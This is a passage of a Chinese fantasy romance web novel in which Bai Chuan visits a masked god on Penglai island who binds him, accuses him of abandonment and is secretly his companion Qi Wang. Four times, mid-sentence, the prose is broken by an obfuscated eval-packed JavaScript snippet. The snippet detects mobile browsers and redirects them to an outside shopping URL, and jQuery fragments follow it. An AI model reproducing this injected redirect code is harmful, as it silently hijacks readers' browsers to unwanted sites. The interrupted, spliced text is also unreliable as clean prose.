神殿摆不下的,就铺陈在神殿外面的空旷地面上,远远看去,神殿像是被笼罩在圣洁的花海里,更添了几分神性。 白川一路朝神殿走去,路过的行人无不侧目看他—— 因为和众人不一样,他手里拿着一束粉色的山桃花,虽然那粉色淡淡的,但在周围一众纯白无暇的花束里实在醒目异常。 有热心的人走过来提示他:“神明只喜欢白色的花,你不要触神明的霉头。” 白川只随口附和:“神爱世人,并不会因为一束花就不满。” 这人见劝不住他,只小声嘀咕他不守规矩,周围的人见状,也没再继续劝说下去。 他们当然不知道,白色的花束代表的是寻常的祝祷,而那粉色的山桃,才是异能者会见神明的请柬,才是打开真正神殿大门的钥匙。 12. 抛弃 山桃花被白川摆放在神殿侧旁的角落里,很是突兀,路过这里的人们都会看两眼。 白川没在意那些目光,跟在游雾身后,走进了神殿。 神殿恢弘壮阔,周遭的墙壁无一例外都是素白色的,干净得仿佛从来没沾染过任何尘埃。 神殿没有香炉,也没有人会在这里燃起香火。 这里太干净了,连香火的气息都像是一种玷污。 宽阔的大堂里排布了不少供人跪拜祷告的草织蒲团,数不清的信众长久地跪伏在地,念念有词地祷告着,祈求高台上的神明听见,让他们夙愿得偿。 白川仰起头,远远地注视着高台上神明的石像。 这石像和那些寻常庙宇里的很不一样。 那些神像动则几十米高,而蓬莱岛上这尊神像却只有寻常人类的身量。藏在宽袍大袖下的的身躯似乎也算不得魁梧,只是刚劲挺拔而已。 他也并不像寻常神像一样慈眉善目,神色悲悯,反而棱角凌厉,眉目炯炯。 不像神佛,倒像是如今正热门的那些影视作品里,凌云而立,不染尘俗的仙君。 一旁的游雾忽然拽了拽他的袖子。 白川下意识地回看游雾,然后被他带着,选了一块蒲团,跪坐了下来。 周遭念诵祷告的声音不绝于耳。 白川在这念诵和祷告声中长久地跪坐。 祷告的人来来往往,走了一批又一批,白川和游雾依旧留在哪里,不曾移过位置。 天色逐渐沉了下来,最后一班返程的游轮拉起汽笛,蓬莱岛上绝大多数的游客都已离开,神殿只剩下少量信徒还在祷告——传闻如果将心事念诵一整夜,神明终会感念于他们的虔诚。 金丝楠木的巨大挂钟敲了七声。 白川抬起头来,看向那屹立不动的神像——按照山海联盟口口相传的消息——有些日子里,神明会在钟声敲响七次的时候,大开山门,迎接拿着山桃花来见他的信徒。 而钟声的余音已经尽了。 白川并没有等到期待中的山门大开。 他莫名地有些失望,准备站起身来,忽然,听到身旁有人轻声惊呼。 白川下意识地抬头,只见高台上忽有金色的光芒闪烁。 几秒钟后,光芒黯淡下来,烟尘乍起,那披挂着白色衣袍的神像——居然动了。 那石像先是睁开了眼睛,然后活动了一下脖子,再然后,抬手拍了拍衣衫上并不存在的尘灰。 那衣衫是素白的,神明的脸上也戴着素白的面具,浑身上下只有如瀑的长发和亮晶晶的瞳仁是漆黑的。 黑和白的对比太过浓烈,像神明和人类的对比一样分明。 他从高台上站起身来,在众人的震惊的感叹声中,一步一步,走了下来。 有信徒哆哆嗦嗦地掏出手机想来拍照,但那手机刚被举起来,屏幕瞬时就崩裂开了,吓得那信徒连忙跪伏在地,一次次叩拜,连大气都不敢出。 其他人也纷纷低下头来,不再敢直视从高台走下来的神明。 除了白川。 他也并非毫不避讳,他也知道自己应该和众人一样低下头来,不应该直视神明的真容。 但不知为何,他的目光像是被粘在了神明身上一样,别说移开目光了,连眨眼的频率都比平时低了不少。 白川的目光掠过遍地跪伏的信众,遥遥地照进神明未被面具遮掩的瞳孔。 而他猛然发现,神明也正在用那漆黑的瞳仁,认真地打量他。 神明迈开步子,绕过地上的信众,一步一步地,朝白川走来。 他在白川面前站定,声音毫无波澜地开口:“你来了。” 这语气并不像神明会见被他庇佑的后辈,熟络得倒像是在招呼什么常常拜访的友人。 白川没有应声,看向神明的目光里平添了几分困惑。 “我等你很久了。”神明又一次开口。 白川下意识地皱起眉头。 他一周前才刚刚在山海联盟升到A级,就算神明很迫切地想要会见他稀有的A级信众,应该也不会介意这一周的拖延吧? 神明的生命漫长而无止休,一周怎么可能算得上“很久”? 白川犹豫了一会儿,到底还是开口:“后辈白川,见过神明大人。” 神明忽然笑了一声,声音很轻,倒不像是神明对信众的宽慈,更像是嘲讽。 “白川,”神明唇齿轻启,重复了一遍这个名字,而后,平静的神色剧变,他忽然厉声道,“你居然——还敢回来?” 话音落地,四下忽然狂风骤起。 遍地的白色花束被这飓风撕碎,花瓣和碎枝被卷入空中,久久不落。 朝拜的人们哪见过这架势,他们连动都不敢动,伏得更低了些,几乎趴在地上。有胆子更小一点儿的,已经开始哆嗦,嘴里下意识念念有词地念诵神明,却忘了眼前怒火正盛的就是他们口中的神明。 白川觉得很莫名其妙。 他不明白这神明的怒火从何而来。 他知道自己算不得虔诚,比不了神殿下面跪伏的这些信众,但他也实实在在地在这神殿里跪拜了几个小时,至少算得上尊敬。 结果却遇见了这样一个不分青红皂白,情绪完全不稳定的神明? 神明威严的声音又响彻神殿:“我问你——你知错了么?” 知个鬼的错? 这家伙吃错了什么药?在犯什么病? 白川抿了抿嘴,没有应声。 他丝毫不能理解神明的怒火,他觉得比起这个有病的神明,自己才是该生气的那个。 他仰起头,对站在自己面前的神明怒目而视。 忽然又觉得眼下这种跪立的姿势就算怒目而视也很没有气势。 于是他揉了揉因为长久跪坐而有些僵硬的膝盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300253|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,准备站起身来。 而就在这个瞬间,他忽然觉得自己的肩头仿佛压上了千斤万斤的重担。 他怎么也站不起来,连脊柱都被压得更弯曲了几分。 他努力让自己沉下心来,吟诵了许多种能想到的咒术,却毫无用处。 他依旧被沉重的力量,钉死在地面上,以这种跪拜的、卑微的姿势。 白川加入山海联盟后,从来战无不胜,虽然有不少人不满他,但提起他的时候,也还是会用“人形兵器”这样奇怪但充满赞誉的称号。 他们总说,白川对那些灵物来说,是绝对的实力压制。 而此刻肩膀上卸不下来的虚无重担,才让白川第一次意识到,什么才叫真正绝对的实力压制。 肩上的重量有增无减,白川膝盖下方的岩板都被压出了裂痕,一般这种情况下,先不堪重负的不该是地面的岩板,而该是白川一节节的脊椎。 但对方显然用了些什么巧劲儿,让白川只是被迫跪伏,却没有感受到任何疼痛,也没有真的受伤。 起初白川还竭尽全力地昂头,但渐渐地,他连昂起头的力气都没有了。 他的意识似乎也在逐渐昏沉。 直到睡过去的前一秒,他都还没有想明白,自己到底什么时候得罪过面前这尊神明。 * “嘀——嗒——嘀——嗒——” 不知道过了多久,白川忽然听到了清脆的水声。 他的思绪也随着水声逐渐清明。 他睁开眼,四下漆黑,一丝光线都没有,睁眼闭眼都是黑夜,他什么都看不见。 他下意识地想要伸手摸索,可手只抬起来了几寸,就被手腕处的力量牵扯住了——有柔滑但坚韧的东西系在他的手腕上,让他无法动弹。 他又动了动脚踝,也是一样。 他好像被那个精神不正常的奇葩神明绑了起来。 咒骂的话语已经到了嘴边,忽然,他听到了漆黑夜色里,有另外的呼吸声。 呼吸声低沉,好像就在他身旁很近的地方。 白川轻轻捏了个诀,房间角落里,一盏灯燃了起来。 火苗在没有风的房间里安安静静地燃烧着,借着微弱的火光,白川看清了眼下的局面。 自己手腕和脚踝上都系着的暗红色绸缎,整个人被牢牢地固定在一方矮榻上,而离自己很近的地方,那个陌生的神明正好整以暇地端坐,目光毫不避讳地看向自己。 白川忽然觉得,说他有病,都算是说轻了。 这家伙简直是个变态! 在这尴尬至极的沉默中,白川还没来得及开骂,神明却先开口了。 白川预想过这家伙会说些什么,会如何暴怒,如何蛮不讲理。 但他从未预想过,这个蛮横的、暴力的、傲慢的神明,开口,竟然带着几分沙哑的哭腔。 “你为什么抛弃我?”神明说。 13. 哥哥 我? 抛弃? 你? 这家伙真不是生病发烧烧傻了吗? 白川拧着眉头看向神明,神明他言辞恳切,神色认真,完全不像是在开玩笑。 白川尴尬地扯起嘴角,考虑到两人之间不可逾越的实力鸿沟,尽可能好声好气地开口:“你确定……我,抛弃,你?” 面具遮掩之下,白川只能看到神明的眼睛。 神明的眸色又沉了几分,他忽然站起身来,往前走了几步,居高临下地看着白川。 “你抛弃了我,现在,又不想承认了?”神明威严的声音在寝殿响起,“你到底把我当成什么?” 凑得越来越近的神明,竟然比神殿上暴怒的状态更让白川感到压迫。 他下意识地想要挣脱手腕的束缚,却仍是徒劳。 白川第一次把自己和“待宰羔羊”这样的意象联系起来。 神明已经侧坐在锁着白川的矮榻上,他伸出修长有力的手指,指尖沿着红色的绸缎一寸寸滑下来,直到,那冰凉凉的手指触碰到了白川的手腕。 “不肯说是么?”神明忽然把白川的手腕攥住了,身子半探了过来,声音低哑,“那你听我说好不好,听我讲讲这些年我是怎么过的,好不好……哥哥……” 像是有什么东西忽然在脑海中炸碎开来,白川被这一声哥哥喊懵了。 神明的眼睛近在咫尺。 远处的烛火还在跳动,映在他的眼底,留下说不清道不明的一抹红。 白川觉得自己应该说些什么,但喉咙像是堵住了一般,什么都说不出口。 神明见他没有回应,忽然变本加厉了起来,身子贴得更近了些。伸出手臂环住了白川的腰。 白川忽然僵住了,他从没和什么人靠得这么近过,哦不对,有过一次—— 那是在恋综拍摄的园子里,他差点摔倒,然后刚好撞进了祁望的怀里。 对,祁望! 他忽然想到了什么,如同抓到救命稻草一般,尽可能冷静着开口:“神明大人,我不知道你在找的人是谁,但你应该是找错人了。” 神明的动作停滞下来,似乎在等他继续开口。 “我不可能是你在找的什么哥哥或者爱人,我就是个普通人,而且……”白川深吸了一口气,然后缓慢而笃定地开口,“已婚。” 白川不用抬眼看,就能猜到神明此刻有多么错愕。 “已婚?”神明问。 “对,没错。”白川毫不迟疑。 “和谁?”神明又问,语气中听不出什么波澜。 白川不能理解这家伙明明是个神明,为什么这么八卦,这么刨根问底,但还是咬了咬牙,说出了那个本不想提到的名字:“他叫祁望,和我一样是个普通人而已。” 神明顿了好一会儿,没有应声,而他攥着白川手腕的手却在不知不觉中收了些力道。 白川悬着的心终于落下来几分,但还没彻底落定,就停到神明幽幽地问道:“竟然已经成婚了,你很喜欢他吗?” 白川轻咳了一声,拼命在心里给自己洗脑,告诫自己要学习祁望说胡话的架势,然后慢慢开口:“婚都结了还能不喜欢么?神明大人可真喜欢开玩笑。” 说完这个,顿了顿,他又补充道:“虽然我不知道神明大人把我误当成了谁,但我真的不是抛弃你的那个人,我对待感情很认真的,我们也很稳定。” 这话说得白川自己心里都犯怂。 不过拆开来看每一句确实也都没什么问题。 他对待感情很认真——这点应该没什么问题。 他和祁望的关系也很稳定——稳定的不对付怎么不算是一种稳定呢? 神明迟疑了好一会儿,终于松开了箍住白川的手,慢慢起身,退后了两步,然后转身离开,头也没回。 他踏出寝殿的瞬间,禁锢在白川手腕脚踝的红绸散掉了,凌乱地垂在地面上。 红烛刚好燃尽,银白的月光从没关上的门外倾斜而入,四下寂静。 白川没多停留,活动了一下僵硬的手腕,拍了拍衣服上的褶皱,借着月光四下打量了一圈。 寝殿干干净净的,没有多余的装饰,比白川想象中的简单朴素得多。 东西也规整得井井有条,仅有的散放着的东西只有神明刚随手脱下的外衫,和旁边一卷纸张古朴的书册。 白川对那卷书起了窥探的念头,但犹豫了一下,还是决定在搞清楚状况之前不去触神明的霉头。于是他只远远扫了一眼,就快步走开了。 神明的寝殿位于蓬莱岛最高的那座山上,没有重重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300254|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼阁浩浩殿堂,但有缭绕的烟云为它添了几分神性。 长长的石阶从山脚下一直铺到山顶,白川就踩着这条石阶一步步往下走。 石阶路险,脚下就是深渊,但白川却并不觉得害怕——他的脑子里正在想着的东西过于繁杂,让他没功夫分心去害怕。 他满脑子都是那个长衫面具的奇怪神明。 那个于众目睽睽之下呵斥自己是否知错的神明。 那个于无人窥探的寝殿红着眼睛软着声音喊自己的神明。 白川觉得自己的世界观已经于不知不觉间崩塌成碎末。 他原本一直对来蓬莱这件事情充满期待,并不只是因为期待神明能够治好他失忆的怪症,更是期待亲眼见到这个传闻中站在力量体系顶层的存在。 在他的预设中,神明应该高高在上不染纤尘,应该随手指点一番,就能让他这样的异能者们有天大的进益。 神明应该无情无欲,不悲不喜。 神明不应该走下高台。 那个困住神明的执念——抛弃神明的人——到底是谁呢? 难道真的是自己?难道自己真的在失忆前抛弃过这位神明? 这样的念头只是出现了一瞬,就被白川否定了。 白川是失去了记忆不假,但他清清楚楚地知道自己不过是一个普通的异能者,无非是能力上有些天赋,而今天的种种充分说明了,这样的天赋在神明面前不值一提。 能让神明念念不忘难以自持的,没道理是个他这样的普通人。 那神明又为什么会把自己当成那个人呢? 忽然,白川想到了一件事—— 他想到当时在阿蛮的局里,阿蛮在准备赴死之前,忽然回头跟他说:“你很像我曾经见过的一个人,不过那是很久很久之前的事儿了。” 阿蛮是活了几千年的灵物,如果按照她所说的,自己碰巧和很多年前的一个人很像,那说不定那个人就是神明真正在找的人,而自己则是因为一些相似的外貌被认错。 或许过段时间可以再去趟崇吾山,看看能不能从阿蛮那里问到些什么。白川想。 长阶陡峭,白川一步步走到了尽头。 他始终没有看到云天之上,有一个身影,长久地伫立,远远地望着他,像是在等他回头。 14. 回头 可是白川没有回头。 和三千年前一样。 于是神明一直看着下山的方向,直到视野里再也没有白川的身影。 素白的面具被他丢在原地,半束着的长发不知道什么时候被碰开了,披散在他的肩头。 刀削斧凿般的轮廓暴露在莹润的月光之下,任谁看了,都会说这张脸是造物主的精心之作。 除了白川。 如果是白川看到了这张脸,他大概不会赞叹,只会惊讶和震怒——因为那张脸,分明是祁望的脸。 而祁望那总是含着莫名笑意的眼睛,此时此刻,竟然氤氲着雾气,眼眶泛红,似乎下一秒就要哭出来。 他分明该是蓬莱山上白衣胜雪的神明,而如今,甚至更像是一只游荡的鬼魂。 祁望踩着寝殿门前的石板路,一步步往回走,推开寝殿的门,跌跌撞撞地走向方才白川待过的那方矮榻。 他弯腰拾起了地上凌乱的红绸,然后躺倒在矮榻之上,就躺在刚才白川躺着的位置。 祁望的指尖触碰着矮榻上的软垫,可惜上面早就没有某人遗留的体温了。 无数的画面不间断、不停歇地涌入他的脑海。 他看见三千年前,那个人牵着自己的手,一级一级地踏上蓬莱山的石阶,带自己回家。 他看见无尽的黑夜里,那人一次又一次甩开自己的手,背影越走越远,从不回头。 他还看见只剩下一个人的蓬莱,看见漫长得近乎永恒的岁月。 他强迫自己闭上眼,但那些画面在黑暗中愈发清晰。 他甚至能听到自己在声嘶力竭地呼喊,一声又一声,喊的都是同一个人的名字—— “白川……” “白川——” “白川!” 他的头疼得厉害,就好像有什么虫子在里面翻天覆地地搅合着。 他一下一下地揉着自己的太阳穴,那里一跳一跳地疼,疼得他眉头紧锁,浑身冒着冷汗。 冷汗甚至浸透了他的外衫,他的身子不自觉地蜷缩起来,在冰冷的矮榻上蜷缩得像一个孩子。 “白川……白川……” 他明明清醒着,却仿佛喝了很多酒,醉到生出梦呓来。 他忽然又想到,很久很久之前,他也总是做噩梦,总是在梦里喊着那个人的名字。 那时候他也会头疼,每次那个人都会把他拉到自己的膝上,轻柔又耐心地帮自己按着头。 那个人身上有很温暖的味道,像是寺庙的烟火气,自己总是在这样的味道里沉沉地睡去。 他知道这一次,他再等不到那个人关切的目光,等不到他合衣睡在自己身侧,小心地揽自己入怀,等不到那句“别怕,我在”。 * 第二日一早,天还没亮起来,白川和游雾就坐着第一班轮渡离开了蓬莱岛。 游雾已经连夜修正了信众的记忆,他们不会记得昨天夜里,神明于神殿苏醒,走下高台。 但游雾没法给自己洗脑,所以他脑子里攒了无数想说想问的。 趁周围的乘客都跑到甲板上看海上日出的空档,游雾凑到了白川身边,小心翼翼地开口,满心八卦地询问: “川哥,你……认识神明?” “川哥,你昨天被带去哪儿了啊?” “川哥,你和神明看起来好像有点矛盾,他没有为难你吧?” 白川被问得心烦,但看着游雾满脸的真诚和好奇,也还是逐句回答了:“不认识,不知道,没有。” 得,这回答了跟没回答也没什么两样。 游雾又要追问,却被白川打断了。 白川闭上眼睛,轻声道:“困了。” “好好好,不问了不问了!”游雾识趣地闭上了嘴。 但他其实还有很多话想问,比如——白川到底是什么人。 远超出其他异能者的能力,似乎和神明之间还有些不解之结,怎么看怎么不是普通人。 白川到底藏着些什么秘密? 游雾昨晚担心白川,并没睡着,这会儿看到白川闭上眼,自己也开始觉得困倦,于是也斜靠在座椅上,合上了双眼。 船舱外,一轮红日刚刚升起,到处都暖融融的,如同万物初生。 与此同时,蓬莱山上,神明的寝殿中,祁望从混乱的梦境中醒来,头疼得厉害,他半撑起身子,用指节轻轻地按着自己的太阳穴。 忽然,他的动作顿住了——他后知后觉地想起了昨晚发生了什么。 “山海!”他唤了一声。 桌子上那卷古书应声燃烧起来,化作袅袅青烟,然后青烟汇聚在一起,凝成了小女孩儿的样子。 “你叫我?”小女孩坐了过来,眨巴着眼睛。 “我可能做了个噩梦……”祁望闭眼皱着眉,“我梦见我把白川带到这儿来了……” “不是梦啊,”小女孩笃定道,“你确实这么做了,你还把他绑了起来,就绑在这张榻上。” 祁望:“……” “你都看见了?”祁望问。 “看见了啊,你不是随身带着我吗?我当然能看到。”山海一脸困惑,似乎是不懂祁望怎么会问出这么没有水平的问题。 “所以……”祁望努力维持自己的语气平缓,“你全都看见了,却没拦着我一下?” “这可怪不了我!”山海立刻解释,“你自己说的,让我不要出现在他面前!” 祁望觉得自己头痛又加深了几分。 山海又借势补充道:“而且你发疯的时候,是我能拦住的么?我早就说了,你这个毛病要找法子去治的,你不听,这回出事了吧……” 看到祁望拧紧的眉头,山海也不再数落他了,语气放缓了些:“倒也不算完全无法补救,因为你昨天戴了面具,他没认出来你。” 祁望点了点头,昨晚的记忆已经在他脑海里逐渐清晰起来,他仔细回想着记忆里的画面,白川确实没有认出来自己。 这样说来,自己还可以继续以祁望的身份出现在白川身边,那情况听起来也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300255|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有很坏。 他沉默了一会儿,然后开口:“山海,我想请你帮我一个忙。” “你说。” “去帮我找找有什么能治这个毛病的办法吧,如果不能治愈,压制住也好。” “下个月十五之前么?” “对。” “好啊。” 山海应下后,把手伸了出来,又是一阵缥缈的青烟,她的手心里忽然出现了一卷书,和刚才幻化成她的那卷书一模一样。 她把这本书递给祁望:“这是我的一个小分身,你带在身边,如果需要我,翻开这本书我就会知道。” 祁望无奈地笑了笑:“我现在看起来是很需要小孩子照看吗?” “说过无数遍了我才不是小孩子!”小女孩哼了一声,“你才是小孩子,你们全家都是小孩子!” 祁望拍了拍这小丫头的头,说了声“辛苦你了”,山海这才气鼓鼓地转身,走了几步,然后化成青烟飞散去远方。 祁望转过头来,从宽松的袍服袖子里摸出手机来,看了眼时间,然后起身,往外走去。 随着他走路的动作,他身上的宽袍大袖变换成了人间寻常的服饰,又是一阵风吹来,他衣衫整洁,面带微笑,出现在老洋房里自己那间屋子里。 时间卡得刚刚好,他听见一楼大厅处有开门的声音,连忙迎了出来。 游雾看到祁望先到了家,很是惊讶:“祁哥的事情搞定了?” 祁望颇有几分心虚地点了点头,并不敢询问白川蓬莱山的见闻。 但架不住游雾是个嘴碎的,他嚷嚷着开口:“祁哥你都想不到,我们昨天——” 游雾的话戛然而止,因为白川在旁边咳了一声。 游雾意识到自己多嘴,于是装作要去问问家里做饭的阿姨今天准备了什么菜色,一溜烟地跑走了,只留祁望和白川在门厅面面相觑。 祁望觉得这时候如果不追问一下,反而显得奇怪,于是尽可能让自己的语气和平常一样吊儿郎当:“所以川哥,你们昨天怎么了?” “没怎么,”白川避而不谈,“游雾他大惊小怪的。” “那你们见到神明……” 祁望的问话还没说完,就被白川打断了:“没见到,什么都没见到。” 白川也不知道自己为什么否认得如此慌乱急切,按照他一向的习惯,这种事情顶多算是自己被“迫害”,并不算是自己的糗事,那也就没有什么否认的必要。 但一想到昨夜在神殿里,自己把祁望的名字拿出来当挡箭牌,就完全不想让这件事被祁望窥探到哪怕一分半毫。 于是白川只嚷嚷着要补觉,就要回房间。 和祁望错身而过的瞬间,白川闻到了祁望身上有很好闻的味道,是那种冷冷的香气,有海水和冷杉的味道。 他没太在意,径自回到了房间。 冲了个澡准备躺下的时候,白川却忽然后知后觉地意识到——这种香气的味道有点儿熟悉——好像和昨夜在神明寝殿闻到的味道一样。 15. 在乎 这样的念头惊得白川立刻从床上爬了起来。 他闭上眼,尽力去回忆神殿里神明身上的味道。 但对味道的记忆远不像对画面和声音的记忆那么真切,在白川闭上眼的同时,漆黑的世界里浮现出的是神明那张戴着面具的脸,还有那一声声低沉的质问: “你为什么抛弃我?” “你听我说好不好?” “哥哥……” 神明的声音低沉沙哑,而祁望的声音向来玩世不恭吊儿郎当,说话的习惯语气毫无相似,但抛却这些,白川竟然觉得二者的音色有那么几分重叠。 想到这里,白川的眉头锁得更深了些。 难道那个莫名其妙的神明真的就是此时此刻和自己只有一墙之隔的祁望? 没这个道理! 凭借神明那碾压自己的能力,人家有什么必要借着一个普通异能者的身份潜伏在自己身边么?神明看起来也不像有什么角色扮演的“恶趣味”。 再说了,祁望这家伙连个基础的变幻物品的法术都不会,反应慢慢的,还怕黑,这家伙和神明沾边半点儿吗? 他这样自我宽慰道,努力把祁望和神明之间的奇怪联想从脑子里摒弃掉,然后重新躺倒在柔软的床铺上。 白川本来只是想稍微补个觉,但这一觉睡得很不踏实,他睡了又醒,醒了又睡,辗转反侧地,竟然也过了一整夜。 第二天上午,白川还没醒过来,门口忽然响起了急促的敲门声。 白川的头发被压得乱糟糟的,半眯缝着眼睛,穿着睡衣推开了门,只见游雾今天一改往日叛逆装束,穿了一身严肃正经的黑西装,连挑染的灰色头发都被暂时喷黑了。 看着游雾这架势,白川挑了挑眉毛:“今天什么日子?这么严肃?” “川哥!”游雾的语气里带着责备,“这你怎么都忘了?联盟的总指挥官今天要来视察,顺便给你颁A级的勋章!” 白川的困意散了大半,在脑海里检索了一通,好像确实有这么一回事儿。 游雾扁了扁嘴:“还好我想着提前来喊一下你,川哥你快去洗漱,还有15分钟!” 说话间,隔壁房间的门被推开了。 祁望衣冠楚楚地走了出来,也在白川门口站定,眉眼中还是那一如既往的笑意:“白先生,早啊。” 回应他的却不是早安,而是“砰——”的关门声。 然后在一门之隔的屋里,传出一声含含糊糊的“早”。 这完全是白川下意识的动作。 一想到大清早起来头发没梳脸也没洗还穿着睡衣,见到收拾妥当的祁望,就怎么都不自在。 他快速地拾掇了一下自己。 衣柜里的衣服并不多,他随手抓了件宽松日系的浅色衬衫和相称的休闲裤。 换好衣服后,他对着镜子照了一分钟,镜子里的人显然只有校园气,毫无正式感,但他确实也没有什么更适合的衣服了,于是只好硬着头皮走了出来。 推开门,游雾已经走了,但祁望还抱着胳膊靠在对面的墙上。 清晨的光透过老洋房的琉璃窗,折射出斑斓的色彩,照出祁望背光的剪影,白川忽然觉得祁望的身量和昨天夜里的神明似乎也有几分相似。 但他没做声,只是随口问:“怎么在这儿等我?” 祁望见他出来,忙从斜靠着的姿势恢复成站着的,跟在他身边一起往楼下走。 “没什么事儿,”祁望笑盈盈的,“没事儿就不能等你么?” 白川瞟了他一眼,没应声,心头倒是松快了不少——祁望嘴贫成这样,除非神明他精神分裂,不然这俩人绝对没半点关系。 祁望还在碎碎念:“而且我和其他人也不熟,你知道的,我社恐。” “社恐?”白川扭头看到祁望真诚热切的眼神,这个嘴皮子比谁都利索的家伙居然说自己是个社恐,“你能不能对自己有点儿清晰的认知?” “我有啊,”祁望歪了歪头,“我异能是疗愈系的没什么用,人又社恐不会说话,出个任务还总得靠白先生救我……” 白川听不下去这样的胡言乱语了,于是打断他道:“这样的话,多半是人废了。” “是啊,人废了,只能恳求A级大佬带了,让我抱抱大腿吧!怎么样?川哥?” 两人有一搭没一搭地说着话,很快,就走到了一楼的会客厅。 原本空旷的房间里这会儿搭起了一个简易的台子,站了半屋子的人。 白川暗暗打量周围的面孔,A组的人差不多都在,也还有一半的生面孔,大概是别的组的,过来凑个热闹。 白川和祁望姗姗来迟,本想在后排随便找个位置站着,却被眼尖的游雾看着了,游雾举着麦克风招呼着他们往前来:“川哥,一会儿有你的勋章环节呢,你站那么后面干什么?” 于是众人的目光不约而同地看向门口处的两人,看得白川有点儿不自在,他下意识地扭头看了眼祁望,只见祁望脸上挂着温和得体的笑容,微微点头和那些看向自己的人打着招呼。 原来这就是所谓的社恐?白川暗暗吐槽。 跟在祁望身后往前排走的时候,白川觉得自己隐隐听到了周围人的交头接耳。 “才加入联盟三个多月,就直升A级,真的很不简单。” “你没听A组的队友说么?人家和游队关系好得不得了,这A级来得跟保送一样。” “听说有些任务只有他和游队两个人参与,是不是游队帮他做的任务刷的分都不好说哦。” “就是……怎么可能真的那么厉害?我反正是看不出来。” 加入山海联盟之后,这样的话白川听多了,早就近乎免疫了。 他知道有不少人看着他一路顺顺当当地做任务,连次稍微严重点儿的伤痕都没留下,就平步青云一般地拿到了罕见的A级勋章,内心肯定是颇为不满的。 且不说他们自己组的这些人,就说今天从其他组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300256|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特意过来围观的人,怕是十个里面,得有九个是抱着怀疑和不屑的心态来的。 好在他并不在乎。 他原本想拿A级也没有什么别的目的,起初做任务只是想帮游雾的忙,毕竟游雾也算救过自己,再后来,听说蓬莱神殿的神明或许能治好自己的失忆症,这才象征着刷到A级好去拜见神明。 现在神明也见到了,他对级别这件事更是彻底没了执念。 他知道很多人都以为他继续在山海联盟接任务,是为了拿到多年难得一遇的S级勋章,但实际上,他还继续留在山海联盟,只是希望让更多阿蛮这样的人,免于遭受一些恶毒的困境。 至于别人怎么看他,他完全不介意。 可他不在乎,不代表别人不在乎。 一直笑面的祁望忽然转头看向说话说得最重的家伙,那是个矮个子的男生,可能是为了严肃一点,他在原本亮绿色的头发上面喷上了黑色的染发喷雾,显然是自己喷的,并不均匀,反而显得更加滑稽。 男生注意到祁望的目光,闭上了嘴,但是看向祁望和白川的目光还是充满不屑和敌意。 祁望却似乎并不打算这样就作罢,他还是笑盈盈的,但语气却一点也不温和:“山海联盟守则,第二章第十九条,联盟内部成员禁止相互诋毁,禁止用任何不实情况进行污蔑。这东西你应该也读过吧?” 绿色头发的男生叫沈一禾,加入联盟比祁望早得多,虽说年纪不大,但资历到底深些,当众被新人质疑,自然是不肯善罢甘休,于是他把脖子一梗,仰头道:“跟我背守则?我加入联盟的时候你还不知道在哪儿玩泥巴呢!我诋毁什么污蔑什么了?他自己做的事儿,还不让说了么?” 白川拉了拉祁望的袖子,他觉得祁望刚来山海联盟不久,实在是没有必要为自己出这个头。 但祁望却只是轻轻按了按白川伸过来的手,继而开口:“你问他做了什么?你是觉得那些任务都是他抢来的是么?苍梧山那次,是游队半夜两点半接到任务找不到你们人,所以才叫他去的。北海那次,任务难度大,游队问了你们一圈,都没人敢去,是他临危受命顶着危险去的……你想想你们到底做了什么?有什么资格回过头来说他抢了你们的功劳?” 不知怎么,白川心头忽然微微一动。 祁望说的这些都是在他们两个认识之前发生的事儿,大概都是和游雾闲聊的时候问出来的。 他不得不承认,这家伙虽然聒噪,还总是说些奇奇怪怪的话,但实在是个做任务时候的好帮手,也算得上是脾性相合的友人。 在白川仅有的短暂记忆里,他好像一直都是站在前面保护别人的角色,还是第一次,有人把他当成需要保护的角色,挺身而出,替他说话。 白川微微抬起头,看着祁望的侧脸,和他似笑非笑却无比笃定的目光。 与此同时,门口处忽然有三声清脆的掌声响起,众人纷纷抬头往门口望去。 门口站着一个老人。 16. S级 